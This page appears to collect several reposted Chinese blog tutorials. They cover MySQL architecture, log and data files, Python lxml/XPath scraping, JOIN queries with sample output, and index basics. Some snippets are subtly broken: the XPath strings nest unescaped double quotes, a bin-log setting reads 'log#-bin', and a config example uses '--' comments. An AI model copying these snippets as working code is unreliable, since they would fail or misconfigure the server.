+ 语法解析：将SQL进行语法校验，是否符合SQL92标准或者MySQL的语法标准，并且在此分析该SQL是DDL，还是DML，还是DDL。
  • 优化器：优化索引，在此时会选择一个索引使用，比关切在此时形成执行计划（如何使用索引，如何多表关联）。
  • 存储引擎层：是真正和数据的读写有关系的，存储引擎曾是MySQL模块中真正和物理磁盘进行交互的部分，而存储引擎你高层在MySQL是采用插件式方式的。

简单对于下面的一条简单的SQL分析如下：

客户端：

1
sql复制代码select * from t where id=1;

服务端：

  • 1.调用连接器，去用户认证，建立连接，查询该用户的权限。
  • 2.查询缓存，缓存中如果有记录，则直接返回结果。
  • 3.调用解析器，对SQL语句进行词法分析和语法分析，也会进行SQL语法校验。
  • 4.调用优化器，对SQL生成执行计划，并且在此时选择哪个索引进行查询。
  • 5.调用执行器，按照SQL的语句的执行计划，去调用存储引擎曾，完成操作。
  • 6.把查询结果返回给客户端，并且保存在查询缓存中。

详细的逻辑架构如下：

image.png

1.连接层：最上层是一些客户端和连接服务，包含本地sock通信和大多数基于客户端/服务端工具实现的类似于tcp/ip的通信。主要完成一些类似于连接处理、授权认证、及相关的安全方案。在该层上引入了线程池的概念，为通过认证安全接入的客户端提供线程。同样在该层上可以实现基于SSL的安全链接。服务器也会为安全接入的每个客户端验证它所具有的操作权限。

2.服务层：第二层架构主要完成大多数的核心服务功能，如SQL接口，并完成缓存的查询，SQL的分析和优化及部分内置函数的执行。所有跨存储引擎的功能也在这一层实现，如过程、函数等。在该层，服务器会解析查询并创建相应的内部解析树，并对其完成相应的优化如确定查询表的顺序，是否利用索引等，最后生成相应的执行操作。如果是select语句，服务器还会查询内部的缓存。如果缓存空间足够大，这样在解决大量读操作的环境中能够很好的提升系统的性能。

image.png

3.引擎层：存储引擎层，存储引擎真正的负责了MySQL中数据的存储和提取，服务器通过APl与存储引擎进行通信。不同的存储引擎具有的功能不同，这样我们可以根据自己的实际需要进行选取。后面介绍MyISAM和InnoDB

4.存储层：数据存储层，主要是将数据存储在运行于裸设备的文件系统之上，并完成与存储引擎的交互。

MySQL 部件

  • 1.Connectors：指的是不同语言中与SQL的交互
  • 2.Management Serveices & Utilities： 系统管理和控制工具
  • 3.Connection Pool：连接池，管理缓冲用户连接，线程处理等需要缓存的需求。负责监听对 MySQL Server 的各种请求，接收连接请求，转发所有连接请求到线程管理模块。每一个连接上 MySQL Server 的客户端请求都会被分配（或创建）一个连接线程为其单独服务。而连接线程的主要工作就是负责 MySQL Server 与客户端的通信。接受客户端的命令请求，传递 Server 端的结果信息等。线程管理模块则负责管理维护这些连接线程。包括线程的创建，线程的 cache 等。
  • 4.SQL Interface：SQL接口。接受用户的SQL命令，并且返回用户需要查询的结果。比如select from就是调用SQL Interface
  • 5.Parser：解析器，SQL命令传递到解析器的时候会被解析器验证和解析。解析器是由Lex和YACC实现的，是一个很长的脚本。在 MySQL中我们习惯将所有 Client 端发送给 Server 端的命令都称为 Query，在 MySQL Server 里面，连接线程接收到客户端的一个 Query 后，会直接将该 Query 传递给专门负责将各种 Query 进行分类然后转发给各个对应的处理模块。解析器的主要功能：
+ 将SQL语句进行语义和语法的分析，分解成数据结构，然后按照不同的操作类型进行分类，然后做出针对性的转发到后续步骤，以后SQL语句的传递和处理就是基于这个结构的。
+ 如果在分解构成中遇到错误，那么就说明这个sql语句是不合理的
  • 6.Optimizer：查询优化器，SQL语句在查询之前会使用查询优化器对查询进行优化。就是优化客户端发送过来的 sql 语句 ，根据客户端请求的 query 语句，和数据库中的一些统计信息，在一系列算法的基础上进行分析，得出一个最优的策略，告诉后面的程序如何取得这个 query 语句的结果，他使用的是“选取-投影-联接”策略进行查询。
+ 用一个例子就可以理解： select uid,name from user where gender = 1;
+ 这个select 查询先根据where 语句进行选取，而不是先将表全部查询出来以后再进行gender过滤
+ 这个select查询先根据uid和name进行属性投影，而不是将属性全部取出以后再进行过滤将这两个查询条件联接起来生成最终查询结果
  • 7.Cache和Buffer：查询缓存，他的主要功能是将客户端提交 给MySQL 的 Select 类 query 请求的返回结果集 cache 到内存中，与该 query 的一个 hash 值 做一个对应。该 Query 所取数据的基表发生任何数据的变化之后， MySQL 会自动使该 query 的Cache 失效。在读写比例非常高的应用系统中， Query Cache 对性能的提高是非常显著的。当然它对内存的消耗也是非常大的。如果查询缓存有命中的查询结果，查询语句就可以直接去查询缓存中取数据。这个缓存机制是由一系列小缓存组成的。比如表缓存，记录缓存，key缓存，权限缓存等
  • 8.存储引擎接口，存储引擎接口模块可以说是 MySQL 数据库中最有特色的一点了。目前各种数据库产品中，基本上只有 MySQL 可以实现其底层数据存储引擎的插件式管理。这个模块实际上只是 一个抽象类，但正是因为它成功地将各种数据处理高度抽象化，才成就了今天 MySQL 可插拔存储引擎的特色。从上图还可以看出，MySQL区别于其他数据库的最重要的特点就是其插件式的表存储引擎。MySQL插件式的存储引擎架构提供了一系列标准的管理和服务支持，这些标准与存储引擎本身无关，可能是每个数据库系统本身都必需的，如SQL分析器和优化器等，而存储引擎是底层物理结构的实现，每个存储引擎开发者都可以按照自己的意愿来进行开发。

注意：存储引擎是基于表的，而不是数据库。存储引擎是跟表有关系的，即表建立的可以指定,不同的表可以使用不同的存储引擎，比如create table末尾可以指定engines = innodb

MySQL存储引擎种类如下：

image.png

查看存储引擎：

1
sql复制代码mysql>show engines;

InnoDB和MyISAM存储引擎区别：

image.png

物理结构

  • MySQL是通过文件系统对数据和索引进行存储的。
  • MySQL从物理结构上可以分为日志文件和数据索引文件。

MySQL在Linux中的数据索引文件和日志文件都在/var/lib/mysql目录下。配置文件在/etc/my.cnf.

  • 顺序IO：在磁盘中存储是顺序的，分布在同一个磁道中，如果该磁道写满则换一个磁道，只需要记住首地址和偏移量即可，读取较快，因为节省了磁盘中的磁臂的寻道时间。
  • 随机IO：在磁盘中存储不是顺序的，是随机的。读取速度较慢，，不同的数据分布在不同的磁道中，比较乱，寻道时间较长。

InnoDB和MyISAM索引文件和数据文件区别如下：

InnoDB:

  • .frm文件：主要存放与表相关的数据信息，主要包括表结果定义信息。
  • .ibd文件：使用独享表空间存储表数据和索引信息，一张表对应一个.ibd文件。
  • ibdata文件：使用共享表空间存储表数据和索引信息，所有表共同使用一个或者多个ibdata文件，ibdata文件里面存储字典信息，也有跟事务相关的undo文件

MyISAM

  • .frm文件：主要存放与表相关的数据信息，主要包括表结果定义信息。
  • .myd文件：主要用来存储表数据信息
  • .myi文件：主要用来存储表数据文件中任何索引的数据树。

日志文件（顺序IO）

MySQL通过日志记录了数据库操作信息和错误信息。常用的日志文件包括错误日志、二进制日志、查询日志、慢查询日志和事务redo日志、中继日志等等。

可以通过命令查看当前数据库中的日志使用信息：

1
sql复制代码show variables like 'log_%';

image.png

错误日志（err log）

默认是开启的，而且从mysql5.5.7以后无法关闭错误日志，错误日志记录了运行过程中遇到的所有严重的错误信息，以及MySQL每次启动和关闭的详细信息。

默认的错误日志名称：hostname.err。

错误日志所记录的信息是可以通过log_error和log_warnings来定义的，其中log_err是定义是否启用错误日志的功能和错误日志的存储位置，log_warnings是定义是否将警告信息也定义至错误日志中。

  • log_error可以直接定义为文件路径，也可以为ON|OFF
  • log_warnings之呢个使用1|0来定义开关启动

image.png

如上图所示，MySQL的默认的错误日志存储路径：/var/log/mysqld.log

二进制日志（bin log）

默认是关闭的，需要在/etc/my,cnf配置文件中的添加下面这一行的配置：

1
shell复制代码log#-bin=mysql-bin

进行开启，其中mysql-bin是bin log日志文件的basename，bin log日志文件的名称：mysql-bin-00001.log。

bin log记录了数据库所有DDL语句和DML语句，但不包括select语句内容，语句以事件的形式保存，描述了数据的变更顺序，bin log还包括了每个更新语句的执行时间信息，bin log主要作用是用于恢复数据，因此bin log对于灾难恢复和备份恢复来说至关重要。

注意：

  • 如果是DDL语句，则直接记录到bin log日志中，而DML语句，必须通过事务提交才能记录到bin log日志中。
  • bin log主要用于实现mysql主从复制，数据备份，数据恢复。

通用查询日志（general query log）

默认情况下通用查询日志是关闭的。由于通用查询日志会记录用户的所有操作，其中包括增删改查等信息，在并发操作大环境下会产生大量的信息，从而导致不必要的磁盘IO，会影响mysql的性能的，如若不是为了调试数据库的目的建议不要开启查询日志。

慢查询日志（slow query log）

默认是关闭的，需要在/etc/my.cnf配置文件通过以下设置进行开启：

1
2
shell复制代码slow_query_log=ON --开启慢查询日志
long_query_time=10 --设置时间

慢查询日志会记录执行时间超过long_query_time秒的所有查询，便于收集查询时间比较长的SQL语句。

慢查询日志一般在定位慢SQL，需要性能优化的情况下开启。

事务日志（redo / undo.log）

  • 事务日志（InnoDB特有的日志）也叫做redo日志
  • 文件名为ib_logfile0和ib_logfile1，默认存放在表空间所在目录。
  • 还有一个日志文件叫做undo日志，默认存储在ib_data目录下。

image.png

中继日志（relay log）

  • 中继日志是在主从复制环境中产生的日志。
  • 主要作用是为了从机可以从中继日志中获取到主机同步过来的SQL语句，然后执行到从机中。

主从复制原理如下图所示

image.png

slave会从master读取binlog来进行数据同步，主从复制的三步骤

  • master将改变记录到二进制日志（binary log）。这些记录过程叫做二进制日志事件（binary log events）
  • slave将master的binary log events拷贝到它的中继日志（relay log）
  • slave重做中继日志中的事件，将改变应用到自己的数据库中。MySQL复制是异步的且串行化的

数据文件（随机IO）

查看MySQL数据文件：

1
sql复制代码show variables like '%datadir%';

image.png

当然这是在/etc/my.cnf配置文件配置的结果：

image.png

InnoDB数据文件

  • .frm文件：主要存放与表相关的数据信息，主要包括表结构的定义信息。
  • .ibd：使用独享表空间存储表数据和索引信息，一张表对应一个ibd文件。
  • ibdata文件，使用共享表空间存储表数据和索引信息，所有表共同使用一个或者多个ibdata文件。

MyISAM数据文件

  • .frm文件：主要存放与表相关的数据信息，主要包括表结构的定义信息。
  • .myd文件：主要用来存储表数据信息。
  • .myi文件：主要用来存储表数据中任何索引的数据树。

查看一下/var/lib/mysql/mysql目录下的数据文件

image.png

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

强化数据提取代码

  • 巩固前面的提取方式：最常见的两种
    1. 一是对属性的提取 //a/@href
    2. 二是对文本的提取 //div[@class="haha"]/a/text()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
python复制代码#coding:utf-8
import lxml
import lxml.etree

html=u'''
<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>12345</title>
</head>
<body>
<div id="content">
    <ul id="useful">
        <li text="11">a1</li>
        <li text="12">a2</li>
        <li text="13">a3</li>
    </ul>
    <ul id="useless">
        <li>1</li>
        <li>2</li>
        <li>3</li>
    </ul>

    <div id="url">
        <a href="http://51job.com">zhiwei</a>
        <a href="http://51job.com/course/" title="python">clickit</a>
    </div>
</div>

</body>
</html>
'''

mytree=lxml.etree.HTML(html)
print(mytree.xpath("//title/text()"))
print(mytree.xpath("//*[@id="useful"]/li/text()"))
print(mytree.xpath("//*[@id="useless"]/li/text()"))
print(mytree.xpath("//*[@id="url"]/a/@href"))
print(mytree.xpath("//*[@id="url"]/a/@title"))
print(mytree.xpath("//*[@id="url"]/a/text()"))

结合urllib2完成网页数据的提取

xpath结合urllib2进行网页数据提取实战

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python复制代码import lxml
import lxml.etree

import urllib2
import urllib

def download(url):
    headers = {"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0);"}
    request = urllib2.Request(url,headers = headers)
    response = urllib2.urlopen(request)
    data = response.read()
    html = lxml.etree.HTML(data)
    e_html = html.xpath("//*[@class="emphasis"]/text()")
    print(e_html)

download("https://www.autohome.com.cn/166/#pvareaid=311284")

请求的中文细节问题

python3 版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
python复制代码"""
在这里我们解析得到的数据中中文无法正常的显示，主要是python2的原因，但是我们可以使用python3的方式进行处理
使用python3进行处理需要注意(实战遇坑)：
    1.import urllib.request
    2.使用urllib.request.urlopen()的时候，不能加入headers

除了使用python3,进行解决 我们还可以使用python2的解码方式进行问题的解决
"""

import lxml
import lxml.etree
import urllib.request

def parse(url):
    response = urllib.request.urlopen(url)
    data = response.read()
    html = lxml.etree.HTML(data)
    print(html.xpath("//div[@class="dw_tlc"]/div[@class="rt"]/text()")[0].strip())
    
parse("https://search.51job.com/list/010000,000000,0000,00,9,99,python,2,1.html?lang=c&stype=&postchannel=0000&workyear=99&cotype=99&degreefrom=99&jobterm=99&companysize=99&providesalary=99&lonlat=0%2C0&radius=-1&ord_field=0&confirmdate=9&fromType=&dibiaoid=0&address=&line=&specialarea=00&from=&welfare=")

python2 版本

1
2
3
4
5
6
7
8
9
10
11
12
13
ini复制代码import lxml
import lxml.etree
import urllib2

def parse(url):
    headers = {"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0);"}
    request = urllib2.Request(url,headers =headers)
    response =urllib2.urlopen(request)
    data = response.read()
    html = lxml.etree.HTML(data)
    print(html.xpath("//div[@class="dw_tlc"]/div[@class="rt"]/text()")[0].strip())

parse("https://search.51job.com/list/010000,000000,0000,00,9,99,python,2,1.html?lang=c&stype=&postchannel=0000&workyear=99&cotype=99&degreefrom=99&jobterm=99&companysize=99&providesalary=99&lonlat=0%2C0&radius=-1&ord_field=0&confirmdate=9&fromType=&dibiaoid=0&address=&line=&specialarea=00&from=&welfare=")

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

慢 SQL

性能下降、 SQL 慢、执行时间长、等待时间长的原因分析

  • 查询语句写的烂
  • 索引失效：
    • 单值索引：在user表中给name属性建个索引，create index idx_user_name on user(name)
    • 复合索引：在user表中给name、email属性建个索引，create index idx_user_nameEmail on user(name,email)
  • 关联查询太多join(设计缺陷或不得已的需求)
  • 服务器调优及各个参数设置(缓冲、线程数等)

join 查询

常见的 JOIN 查询图

image.png

建表 SQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mysql复制代码CREATE TABLE tbl_dept(
	id INT(11) NOT NULL AUTO_INCREMENT,
	deptName VARCHAR(30) DEFAULT NULL,
	locAdd VARCHAR(40) DEFAULT NULL,
	PRIMARY KEY(id)
)ENGINE=INNODB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;

CREATE TABLE tbl_emp (
	id INT(11) NOT NULL AUTO_INCREMENT,
	NAME VARCHAR(20) DEFAULT NULL,
	deptId INT(11) DEFAULT NULL,
	PRIMARY KEY (id),
	KEY fk_dept_Id (deptId)
	#CONSTRAINT 'fk_dept_Id' foreign key ('deptId') references 'tbl_dept'('Id')
)ENGINE=INNODB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;

INSERT INTO tbl_dept(deptName,locAdd) VALUES('RD',11);
INSERT INTO tbl_dept(deptName,locAdd) VALUES('HR',12);
INSERT INTO tbl_dept(deptName,locAdd) VALUES('MK',13);
INSERT INTO tbl_dept(deptName,locAdd) VALUES('MIS',14);
INSERT INTO tbl_dept(deptName,locAdd) VALUES('FD',15);

INSERT INTO tbl_emp(NAME,deptId) VALUES('z3',1);
INSERT INTO tbl_emp(NAME,deptId) VALUES('z4',1);
INSERT INTO tbl_emp(NAME,deptId) VALUES('z5',1);
INSERT INTO tbl_emp(NAME,deptId) VALUES('w5',2);
INSERT INTO tbl_emp(NAME,deptId) VALUES('w6',2);
INSERT INTO tbl_emp(NAME,deptId) VALUES('s7',3);
INSERT INTO tbl_emp(NAME,deptId) VALUES('s8',4);
INSERT INTO tbl_emp(NAME,deptId) VALUES('s9',51);
  • tbl_dept 表结构
1
2
3
4
5
6
7
8
9
10
11
mysql复制代码mysql> select * from tbl_dept;
+----+----------+--------+
| id | deptName | locAdd |
+----+----------+--------+
|  1 | RD       | 11     |
|  2 | HR       | 12     |
|  3 | MK       | 13     |
|  4 | MIS      | 14     |
|  5 | FD       | 15     |
+----+----------+--------+
5 rows in set (0.00 sec)
  • tbl_emp 表结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql复制代码mysql> select * from tbl_emp;
+----+------+--------+
| id | NAME | deptId |
+----+------+--------+
|  1 | z3   |      1 |
|  2 | z4   |      1 |
|  3 | z5   |      1 |
|  4 | w5   |      2 |
|  5 | w6   |      2 |
|  6 | s7   |      3 |
|  7 | s8   |      4 |
|  8 | s9   |     51 |
+----+------+--------+
8 rows in set (0.00 sec)

笛卡尔积

    1. tbl_emp 表和 tbl_dept 表的笛卡尔乘积：select * from tbl_emp, tbl_dept;
    1. 其结果集的个数为：5 * 8 = 40
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
mysql复制代码mysql> select * from tbl_emp, tbl_dept;
+----+------+--------+----+----------+--------+
| id | NAME | deptId | id | deptName | locAdd |
+----+------+--------+----+----------+--------+
|  1 | z3   |      1 |  1 | RD       | 11     |
|  1 | z3   |      1 |  2 | HR       | 12     |
|  1 | z3   |      1 |  3 | MK       | 13     |
|  1 | z3   |      1 |  4 | MIS      | 14     |
|  1 | z3   |      1 |  5 | FD       | 15     |
|  2 | z4   |      1 |  1 | RD       | 11     |
|  2 | z4   |      1 |  2 | HR       | 12     |
|  2 | z4   |      1 |  3 | MK       | 13     |
|  2 | z4   |      1 |  4 | MIS      | 14     |
|  2 | z4   |      1 |  5 | FD       | 15     |
|  3 | z5   |      1 |  1 | RD       | 11     |
|  3 | z5   |      1 |  2 | HR       | 12     |
|  3 | z5   |      1 |  3 | MK       | 13     |
|  3 | z5   |      1 |  4 | MIS      | 14     |
|  3 | z5   |      1 |  5 | FD       | 15     |
|  4 | w5   |      2 |  1 | RD       | 11     |
|  4 | w5   |      2 |  2 | HR       | 12     |
|  4 | w5   |      2 |  3 | MK       | 13     |
|  4 | w5   |      2 |  4 | MIS      | 14     |
|  4 | w5   |      2 |  5 | FD       | 15     |
|  5 | w6   |      2 |  1 | RD       | 11     |
|  5 | w6   |      2 |  2 | HR       | 12     |
|  5 | w6   |      2 |  3 | MK       | 13     |
|  5 | w6   |      2 |  4 | MIS      | 14     |
|  5 | w6   |      2 |  5 | FD       | 15     |
|  6 | s7   |      3 |  1 | RD       | 11     |
|  6 | s7   |      3 |  2 | HR       | 12     |
|  6 | s7   |      3 |  3 | MK       | 13     |
|  6 | s7   |      3 |  4 | MIS      | 14     |
|  6 | s7   |      3 |  5 | FD       | 15     |
|  7 | s8   |      4 |  1 | RD       | 11     |
|  7 | s8   |      4 |  2 | HR       | 12     |
|  7 | s8   |      4 |  3 | MK       | 13     |
|  7 | s8   |      4 |  4 | MIS      | 14     |
|  7 | s8   |      4 |  5 | FD       | 15     |
|  8 | s9   |     51 |  1 | RD       | 11     |
|  8 | s9   |     51 |  2 | HR       | 12     |
|  8 | s9   |     51 |  3 | MK       | 13     |
|  8 | s9   |     51 |  4 | MIS      | 14     |
|  8 | s9   |     51 |  5 | FD       | 15     |
+----+------+--------+----+----------+--------+
40 rows in set (0.00 sec)

内连接(inner join)

    1. tbl_emp 表和 tbl_dept 的交集部分（公共部分）
    1. select * from tbl_emp e inner join tbl_dept d on e.deptId = d.id;
1
2
3
4
5
6
7
8
9
10
11
12
13
mysql复制代码mysql> select * from tbl_emp e inner join tbl_dept d on e.deptId = d.id;
+----+------+--------+----+----------+--------+
| id | NAME | deptId | id | deptName | locAdd |
+----+------+--------+----+----------+--------+
|  1 | z3   |      1 |  1 | RD       | 11     |
|  2 | z4   |      1 |  1 | RD       | 11     |
|  3 | z5   |      1 |  1 | RD       | 11     |
|  4 | w5   |      2 |  2 | HR       | 12     |
|  5 | w6   |      2 |  2 | HR       | 12     |
|  6 | s7   |      3 |  3 | MK       | 13     |
|  7 | s8   |      4 |  4 | MIS      | 14     |
+----+------+--------+----+----------+--------+
7 rows in set (0.00 sec)

左连接(left join)

  • tbl_emp 与 tbl_dept 的公共部分 + tbl_emp 表的独有部分
  • left join：取左表独有部分 + 两表公共部分
  • select * from tbl_emp e left join tbl_dept d on e.deptId = d.id;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql复制代码mysql> select * from tbl_emp e left join tbl_dept d on e.deptId = d.id;
+----+------+--------+------+----------+--------+
| id | NAME | deptId | id   | deptName | locAdd |
+----+------+--------+------+----------+--------+
|  1 | z3   |      1 |    1 | RD       | 11     |
|  2 | z4   |      1 |    1 | RD       | 11     |
|  3 | z5   |      1 |    1 | RD       | 11     |
|  4 | w5   |      2 |    2 | HR       | 12     |
|  5 | w6   |      2 |    2 | HR       | 12     |
|  6 | s7   |      3 |    3 | MK       | 13     |
|  7 | s8   |      4 |    4 | MIS      | 14     |
|  8 | s9   |     51 | NULL | NULL     | NULL   |
+----+------+--------+------+----------+--------+
8 rows in set (0.00 sec)

右连接(right join)

  • tbl_emp 与 tbl_dept 的公共部分 + tbl_dept表的独有部分
  • right join：取右表独有部分 + 两表公共部分
  • select * from tbl_emp e right join tbl_dept d on e.deptId = d.id;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql复制代码mysql> select * from tbl_emp e right join tbl_dept d on e.deptId = d.id;
+------+------+--------+----+----------+--------+
| id   | NAME | deptId | id | deptName | locAdd |
+------+------+--------+----+----------+--------+
|    1 | z3   |      1 |  1 | RD       | 11     |
|    2 | z4   |      1 |  1 | RD       | 11     |
|    3 | z5   |      1 |  1 | RD       | 11     |
|    4 | w5   |      2 |  2 | HR       | 12     |
|    5 | w6   |      2 |  2 | HR       | 12     |
|    6 | s7   |      3 |  3 | MK       | 13     |
|    7 | s8   |      4 |  4 | MIS      | 14     |
| NULL | NULL |   NULL |  5 | FD       | 15     |
+------+------+--------+----+----------+--------+
8 rows in set (0.00 sec)

left join without common part

  • tbl_emp 表的独有部分：将 left join 结果集中的两表公共部分去掉即可：where d.id is null
  • select * from tbl_emp e left join tbl_dept d on e.deptId = d.id where d.id is null;
1
2
3
4
5
6
7
mysql复制代码mysql> select * from tbl_emp e left join tbl_dept d on e.deptId = d.id where d.id is null;
+----+------+--------+------+----------+--------+
| id | NAME | deptId | id   | deptName | locAdd |
+----+------+--------+------+----------+--------+
|  8 | s9   |     51 | NULL | NULL     | NULL   |
+----+------+--------+------+----------+--------+
1 row in set (0.00 sec)

right join without common part

  • tbl_dept表的独有部分：将 right join 结果集中的两表公共部分去掉即可：where e.id is null
  • select * from tbl_emp e right join tbl_dept d on e.deptId = d.id where e.id is null;
1
2
3
4
5
6
7
mysql复制代码mysql> select * from tbl_emp e right join tbl_dept d on e.deptId = d.id where e.id is null;
+------+------+--------+----+----------+--------+
| id   | NAME | deptId | id | deptName | locAdd |
+------+------+--------+----+----------+--------+
| NULL | NULL |   NULL |  5 | FD       | 15     |
+------+------+--------+----+----------+--------+
1 row in set (0.00 sec)

full join

  • mysql 不支持 full join ，但是我们可以通过骚操作实现 full join ，union 关键字用于连接结果集，并且自动去重
  • tbl_emp 与 tbl_dept 的公共部分 + tbl_emp 表的独有部分 + tbl_dept表的独有部分：将 left join 的结果集和 right join 的结果集使用 union 合并即可
  • select * from tbl_emp e left join tbl_dept d on e.deptId = d.id union select * from tbl_emp e right join tbl_dept d on e.deptId = d.id;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql复制代码mysql> select * from tbl_emp e left join tbl_dept d on e.deptId = d.id 
    -> union 
    -> select * from tbl_emp e right join tbl_dept d on e.deptId = d.id;
+------+------+--------+------+----------+--------+
| id   | NAME | deptId | id   | deptName | locAdd |
+------+------+--------+------+----------+--------+
|    1 | z3   |      1 |    1 | RD       | 11     |
|    2 | z4   |      1 |    1 | RD       | 11     |
|    3 | z5   |      1 |    1 | RD       | 11     |
|    4 | w5   |      2 |    2 | HR       | 12     |
|    5 | w6   |      2 |    2 | HR       | 12     |
|    6 | s7   |      3 |    3 | MK       | 13     |
|    7 | s8   |      4 |    4 | MIS      | 14     |
|    8 | s9   |     51 | NULL | NULL     | NULL   |
| NULL | NULL |   NULL |    5 | FD       | 15     |
+------+------+--------+------+----------+--------+
9 rows in set (0.00 sec)

full join without common part

  • tbl_emp 表的独有部分 + tbl_dept表的独有部分
  • select * from tbl_emp e left join tbl_dept d on e.deptId = d.id where d.id is null union select * from tbl_emp e right join tbl_dept d on e.deptId = d.id where e.id is null;
1
2
3
4
5
6
7
8
9
10
mysql复制代码mysql> select * from tbl_emp e left join tbl_dept d on e.deptId = d.id where d.id is null 
    -> union 
    -> select * from tbl_emp e right join tbl_dept d on e.deptId = d.id where e.id is null;
+------+------+--------+------+----------+--------+
| id   | NAME | deptId | id   | deptName | locAdd |
+------+------+--------+------+----------+--------+
|    8 | s9   |     51 | NULL | NULL     | NULL   |
| NULL | NULL |   NULL |    5 | FD       | 15     |
+------+------+--------+------+----------+--------+
2 rows in set (0.00 sec)

索引

索引简介

索引是个什么东东？

  • MySQL官方对索引的定义为：索引(Index)是帮助MySQL高效获取数据的数据结构。可以得到索引的本质：索引是数据结构
  • 你可以简单理解为”排好序的快速查找数据结构”，即索引 = 排序 + 查找
  • 一般来说索引本身占用内存空间也很大，不可能全部存储在内存中，因此索引往往以文件形式存储在硬盘上
  • 我们平时所说的索引，如果没有特别指明，都是指B树(多路搜索树，并不一定是二叉树)结构组织的索引。
  • 聚集索引，次要索引，覆盖索引，复合索引，前缀索引，唯一索引默认都是使用B+树索引，统称索引。当然，除了B+树这种类型的索引之外，还有哈希索引(hash index)等。

索引原理

将索引理解为**“排好序的快速查找数据结构”**

  • 在数据之外，数据库系统还维护着满足特定查找算法的数据结构，这些数据结构以某种方式引用（指向）数据，这样就可以在这些数据结构上实现高级查找算法。这种数据结构，就是索引。
  • 下图就是一种可能的索引方式示例：
    • 左边是数据表，一共有两列七条记录，最左边的十六进制数字是数据记录的物理地址
    • 为了加快col2的查找，可以维护一个右边所示的二叉查找树，每个节点分别包含索引键值和一个指向对应数据记录物理地址的指针，这样就可以运用二叉查找在一定的复杂度内获取到相应数据，从而快速的检索出符合条件的记录。

image.png

索引优劣势

索引的优势

  • 类似大学图书馆的书目索引，提高数据检索效率，降低数据库的IO成本
  • 通过索引列对数据进行排序，降低数据排序成本，降低了CPU的消耗

索引的劣势

  • 实际上索引也是一张表，该表保存了主键和索引字段，并指向实体表的记录，所以索引列也是要占用空间的
  • 虽然索引大大提高了查询速度，同时却会降低更新表的速度，如果对表INSERT，UPDATE和DELETE。因为更新表时，MySQL不仅要不存数据，还要保存一下索引文件每次更新添加了索引列的字段，都会调整因为更新所带来的键值变化后的索引信息
  • 索引只是提高效率的一个因素，如果你的MySQL有大数据量的表，就需要花时间研究建立优秀的索引，或优化查询语句

MySQL 索引分类

mysql 索引分类

  • 普通索引：是最基本的索引，它没有任何限制，即一个索引只包含单个列，一个表可以有多个单列索引；建议一张表索引不要超过5个，优先考虑复合索引
  • 唯一索引：与前面的普通索引类似，不同的就是：索引列的值必须唯一，但允许有空值。如果是组合索引，则列值的组合必须唯一
  • 主键索引：是一种特殊的唯一索引，一个表只能有一个主键，不允许有空值。一般是在建表的时候同时创建主键索引：
  • 复合索引：指多个字段上创建的索引，只有在查询条件中使用了创建索引时的第一个字段，索引才会被使用。使用组合索引时遵循最左前缀集合
  • 全文索引：主要用来查找文本中的关键字，而不是直接与索引中的值相比较。fulltext索引跟其它索引大不相同，它更像是一个搜索引擎，而不是简单的where语句的参数匹配

MySQL 索引语法

建立索引的 SQL 语句

创建索引：

  • 如果是CHAR和VARCHAR类型，length可以小于字段实际长度；
  • 如果是BLOB和TEXT类型，必须指定length。
1
2
3
mysql复制代码CREATE [UNIQUE] INDEX  indexName ON mytable(columnname(length));
' or '
ALTER mytable ADD [UNIQUE]  INDEX [indexName] ON(columnname(length));

删除索引

1
mysql复制代码DROP INDEX [indexName] ON mytable;

查看索引（\G表示将查询到的横向表格纵向输出，方便阅读）

1
mysql复制代码SHOW INDEX FROM table_name\G;

使用 ALTER 命令，有四种方式来添加数据表的索引：

  • ALTER TABLE tbl_name ADD PRIMARY KEY(column_list)：该语句添加一个主键，这意味着索引值必须是唯一的，且不能为NULL。
  • ALTER TABLE tbl_name ADD UNIQUE index_name(column_list)：这条语句创建索引的值必须是唯一的（除了NULL外，NULL可能会出现多次）。
  • ALTER TABLE tbl_name ADD INDEX index_name(column_list)：.添加普通索引，索引值可出现多次。
  • ALTER TABLE tbl_name ADD FULLTEXT index_name(column_list)：该语句指定了索引为FULLTEXT，用于全文索引。

带你看看 mysql 索引：Index_type 为 BTREE

1
2
3
4
5
6
7
8
mysql复制代码mysql> show index from tbl_emp;
+---------+------------+------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| Table   | Non_unique | Key_name   | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment |
+---------+------------+------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| tbl_emp |          0 | PRIMARY    |            1 | id          | A         |           8 |     NULL | NULL   |      | BTREE      |         |               |
| tbl_emp |          1 | fk_dept_Id |            1 | deptId      | A         |           8 |     NULL | NULL   | YES  | BTREE      |         |               |
+---------+------------+------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
2 rows in set (0.00 sec)

MySQL 索引结构

Btree 索引

Btree 索引搜索过程

【初始化介绍】

  • 一颗 b 树， 浅蓝色的块我们称之为一个磁盘块， 可以看到每个磁盘块包含几个数据项（深蓝色所示） 和指针（黄色所示）
  • 如磁盘块 1 包含数据项 17 和 35， 包含指针 P1、 P2、 P3
  • P1 表示小于 17 的磁盘块， P2 表示在 17 和 35 之间的磁盘块， P3 表示大于 35 的磁盘块
